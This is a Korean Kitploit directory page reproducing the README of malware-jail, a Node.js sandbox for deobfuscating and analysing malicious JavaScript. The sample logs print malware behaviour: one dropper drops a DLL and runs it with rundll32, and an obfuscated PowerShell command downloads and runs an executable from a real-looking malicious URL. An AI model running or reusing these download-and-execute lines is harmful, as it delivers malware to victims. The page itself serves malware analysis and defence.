Skip to content
KitploitKITPLOIT
도구익스플로잇블로그
Log in
제출
도구익스플로잇블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

··피드·문의·개인정보·© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
malware-jail — 반자동 JavaScript 악성코드 분석, 난독화 해제 및 페이로드 추출을 위한 샌드박스입니다. Node.js로 작성되었습니다. | Kitploit
도구/GitHubGitHub/hynekpetrak/malware-jail
Dynamic Analysis (Sandboxing)Malware Analysis
GitHubhynekpetrak/malware-jail

malware-jail

반자동 JavaScript 악성코드 분석, 난독화 해제 및 페이로드 추출을 위한 샌드박스입니다. Node.js로 작성되었습니다.

저장소 보기
47898113년 전Kitploit 검토 완료

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유

malware-jail

반자동 JavaScript 악성코드 분석, 난독화 해제 및 페이로드 추출을 위한 샌드박스. Node.js로 작성됨.

malware-jail은 Node의 'vm' 샌드박스를 위해 작성되었습니다. 현재 WScript(Windows Scripting Host) 컨텍스트 env/wscript.js를 구현하며, 악성코드가 자주 사용하는 부분을 최소한으로 포함합니다. 인터넷 브라우저 컨텍스트는 부분적으로 구현되었습니다 env/browser.js.

모든 운영 체제에서 실행 가능합니다. Linux, Node.js v6.6.0에서 개발 및 테스트되었습니다.

일부 ES6 기능을 사용하므로 Node.js >= 6.x가 필요합니다.

분석된 악성코드 샘플은 EXAMPLES를 참조하세요.

새로운 악성코드 샘플이 있으면 javascript-malware-collection에 이슈 또는 풀 리퀘스트로 제출해 주세요.

새로운 기능

버전 0.19

WMI 쿼리를 파일로 열거: wmis.json

버전 0.17

새로운 매개변수 추가:

--t404 - http 요청이 항상 HTTP/404를 반환하고 예외를 발생시킵니다. 이는 모든 원격 URL을 열거할 수 있게 합니다.

버전 0.16

이제 URL이 urls.json에 저장됩니다. 최신 EXAMPLES#malware-of-issue-14 참조.

다양한 버그 수정 및 개선.

버전 0.14

다양한 버그 수정 및 개선.

버전 0.13

새로운 매개변수 추가:

-t msecs - 실행 시간을 "msecs" 밀리초로 제한하며, 기본값은 60초입니다.
--h404 - http 요청이 항상 HTTP/404를 반환하고 예외를 발생시키지 않습니다. 이는 모든 원격 URL을 열거할 수 있게 합니다.

설치

Node.js 및 npm이 설치되어 있어야 합니다.

malware-jail은 minimist, iconv-lite 및 entities 위에 구축되었습니다.

GitHub에서 가져오기

git으로 소스 가져오기:

git clone https://github.com/HynekPetrak/malware-jail.git
cd malware-jail

그런 다음 다음 명령으로 모든 종속성(minimist, entities, iconv-lite)을 설치합니다:

npm install

NPM 패키지

아직 사용할 수 없음, 곧 제공 예정 ...

경고

실제 악성코드로 작업할 때는 주의하세요. 이 샌드박스를 인식하는 악성코드는 탈출하여 PC에 해를 끼칠 수 있습니다. 권한이 없는 Linux 계정 또는 가상화된 Windows 머신 내에서 실행하는 것이 좋습니다. malware 폴더의 Angler 파일은 비활성화되어 있지 않습니다.

사용법

bash@linux# node jailme.js -h -b list
7 May 20:54:52 - malware-jail, 악성코드 샌드박스 ver. 0.19
7 May 20:54:52 - ------------------------
7 May 20:54:52 - 사용법: node jailme.js  [[-e file1] [-e file2] .. ] [-c ./config.json] \
7 May 20:54:52 -                [-o ofile] [-b id] \
7 May 20:54:52 -                [-s odir] [--down] [malware1 [malware2] .. ]
7 May 20:54:52 -        -c config .. 대체 설정 파일 사용, ./로 시작
7 May 20:54:52 -        -e ifile ... 특정 환경을 시뮬레이션하는 js
7 May 20:54:52 -        -o ofile ... 마지막에 샌드박스를 덤프할 파일 이름
7 May 20:54:52 -        -s odir  ... 생성된 파일(악성코드 페이로드)의 출력 디렉토리
7 May 20:54:52 -        -b id    ... 브라우저 유형, 가능한 값은 -b list 사용
7 May 20:54:52 -        -t msecs ... 실행 종료 전 밀리초 수, 기본값 1분
7 May 20:54:52 -        --trace  ... 모든 로그 줄에 스택 추적 출력
7 May 20:54:52 -        --down   ... 원격 서버에서 악성코드 페이로드 다운로드 허용
7 May 20:54:52 -        --h404   ... 다운로드 시 항상 HTTP/404 반환
7 May 20:54:52 -        malware  ... 악성코드 코드가 있는 js
7 May 20:54:52 - 인수가 지정되지 않으면 기본값은 config.json에서 가져옴
7 May 20:54:52 - 가능한 -b 값: [ 'IE11_W10', 'IE8', 'IE7', 'iPhone', 'Firefox', 'Chrome' ]

examples 폴더에 비활성화된 악성코드 파일이 있습니다. 다음 명령으로 분석을 실행하세요:

node jailme.js -c ./config_wscript_only.json --down=y malware/example.js

인터넷 브라우저 기반 악성코드는 다음으로 테스트할 수 있습니다:

node jailme.js -b IE11_W10 malware/example_browser.js

분석이 끝나면 완전한 샌드박스 컨텍스트가 'sandbox_dump_after.json' 파일에 덤프됩니다.

_'sandbox_dump_after.json'_의 다음 항목을 검토할 수 있습니다:

  • eval_calls - 모든 eval() 호출 인수의 배열. eval()이 난독화 해제에 사용되는 경우 유용합니다.
  • wscript_saved_files - 악성코드가 드롭하려고 시도한 모든 파일의 내용. 실제 파일은 output/ 디렉토리에 저장됩니다.
  • wscript_urls - 악성코드가 GET 또는 POST하려고 의도한 모든 URL.
  • wscript_objects - 생성된 WScript 또는 ActiveX 개체.

_'sandbox_dump_after.json'_은 JSONPath를 사용하며, JSON-js/cycle.js에 의해 구현되어 동일한 개체에 대한 중복 또는 순환 참조를 저장합니다.

샘플 출력

bash@linux# node jailme.js malware/example.js
11 Jan 00:06:24 - 악성코드 샌드박스 ver. 0.2
11 Jan 00:06:24 - ------------------------
11 Jan 00:06:24 - 샌드박스 환경 시퀀스: env/eval.js,env/wscript.js
11 Jan 00:06:24 - 악성코드 파일: malware/example.js
11 Jan 00:06:24 - 샌드박스 덤프 출력 파일: sandbox_dump_after.json
11 Jan 00:06:24 - 생성된 파일 출력 디렉토리: output/
11 Jan 00:06:24 - ==> 샌드박스 환경 준비 중.
11 Jan 00:06:24 -  => 실행 중: env/eval.js
11 Jan 00:06:24 - eval() 호출을 가로채도록 샌드박스 준비 중.
11 Jan 00:06:24 -  => 실행 중: env/wscript.js
11 Jan 00:06:24 - WScript 환경을 에뮬레이션하도록 샌드박스 준비 중.
11 Jan 00:06:24 - ==> 악성코드 파일 실행 중.
11 Jan 00:06:24 -  => 실행 중: malware/example.js
11 Jan 00:06:24 - ActiveXObject(WScript.Shell)
11 Jan 00:06:24 - 생성됨: WScript.Shell[1]
11 Jan 00:06:24 - WScript.Shell[1].ExpandEnvironmentStrings(%TEMP%)
11 Jan 00:06:24 - ActiveXObject(MSXML2.XMLHTTP)
11 Jan 00:06:24 - 생성됨: MSXML2.XMLHTTP[2]
11 Jan 00:06:24 - MSXML2.XMLHTTP[2].open(POST,http://EXAMPLE.COM/redir.php,false)
11 Jan 00:06:24 - MSXML2.XMLHTTP[2].setRequestHeader(Content-Type, application/x-www-form-urlencoded)
11 Jan 00:06:24 - MSXML2.XMLHTTP[2].send(iTlOlnxhMXnM=0.588860877091065&jndj=IT0601)
11 Jan 00:06:24 - MSXML2.XMLHTTP[2] 데이터를 보내지 않음, 원격 서버와 상호작용하려면 --down=y 설정
11 Jan 00:06:24 - MSXML2.XMLHTTP[2] 더미 데이터로 onreadystatechange() 호출
11 Jan 00:06:24 - ActiveXObject(ADODB.Stream)
11 Jan 00:06:24 - 생성됨: ADODB_Stream[3]
11 Jan 00:06:24 - ADODB_Stream[3].Open()
11 Jan 00:06:24 - ADODB_Stream[3].Write(str) - 10001 bytes
11 Jan 00:06:24 - ADODB_Stream[3].SaveToFile(%TEMP%\57020551.dll, 2)
11 Jan 00:06:24 - WScript.Shell[1].Exec(rundll32 %TEMP%\57020551.dll, DllRegisterServer)
11 Jan 00:06:24 - ADODB_Stream[3].Close()
11 Jan 00:08:42 - ==> 스크립트 실행 완료, 샌드박스 환경을 파일로 덤프 중.
11 Jan 00:08:42 - 저장 중: output/_TEMP__49629482.dll
11 Jan 00:08:42 - 저장 중: output/_TEMP__38611354.pdf
11 Jan 00:08:42 - 생성된 파일 저장됨
11 Jan 00:08:42 - 생성된 파일 저장됨
11 Jan 00:08:42 - 샌드박스 컨텍스트가 sandbox_dump_after.json에 저장되었습니다.

위 예제에서 페이로드는 output/_TEMP__49629482.dll과 output/_TEMP__38611354.pdf로 추출되었습니다.

예제

malware 폴더에는 실제 악성코드 샘플이 포함되어 있습니다. 대부분 https://malwr.com에서 다운로드되었습니다.

완전한 악성코드 샘플 인덱스는 EXAMPLES를 참조하십시오.

예제: Wileen.js 분석

malwr.com에서 악성 스크립트 가져오기: Wileen.js

분명히 이 악성코드는 브라우저 내에서 실행되면 실행되지 않습니다:

if (typeof document == "undefined") {

따라서 브라우저/DOM 구성 요소를 로드하지 않는 대체 설정 파일을 사용할 수 있습니다:

node jailme.js --down=y -c ./config_wscript_only.json  malware/20161001/a6dfd6b83d46702c0b408bd5f669e08c785cd12fdd515fe469595e2a3d44ddc4.js 

Powershell의 흥미로운 사용:

1 Oct 13:05:34 -  => 실행 중: malware/20161001/a6dfd6b83d46702c0b408bd5f669e08c785cd12fdd515fe469595e2a3d44ddc4.js
1 Oct 13:05:34 - ActiveXObject(WScRipT.SHEll)
1 Oct 13:05:34 - 생성됨: WScript.Shell[1]
1 Oct 13:05:34 - WScript.Shell[1].Run(cmD.EXE /c POWE^R^s^he^lL.eXE     -ExEc^U^Tio^n^p^oLIC^y^   B^Y^pas^S -NOpro^Fi^L^e^    -^W^InD^Ow^sT^yle^  HI^ddeN^  (^Ne^W^-^OBJ^ecT^     S^YST^EM.net.Webc^L^I^E^n^T^).^dOWn^L^Oa^d^fI^lE^(^'http://click.doubledating.ru/js/boxun4.bin','%appdatA%.exE')^;^stA^Rt-^p^rO^c^eS^s  ^'%aPpdata%.eXe', false, undefined)
1 Oct 13:05:34 - ==> 샌드박스 정리 중.
1 Oct 13:05:34 - ==> 스크립트 실행 완료, 샌드박스 환경을 파일로 덤프 중.
1 Oct 13:05:34 - 샌드박스 컨텍스트가 sandbox_dump_after.json에 저장되었습니다.

로그 파일: malware/20161001/a6dfd6b83d46702c0b408bd5f669e08c785cd12fdd515fe469595e2a3d44ddc4.out

예제: ORDER-10455.js 분석

도구 다운로드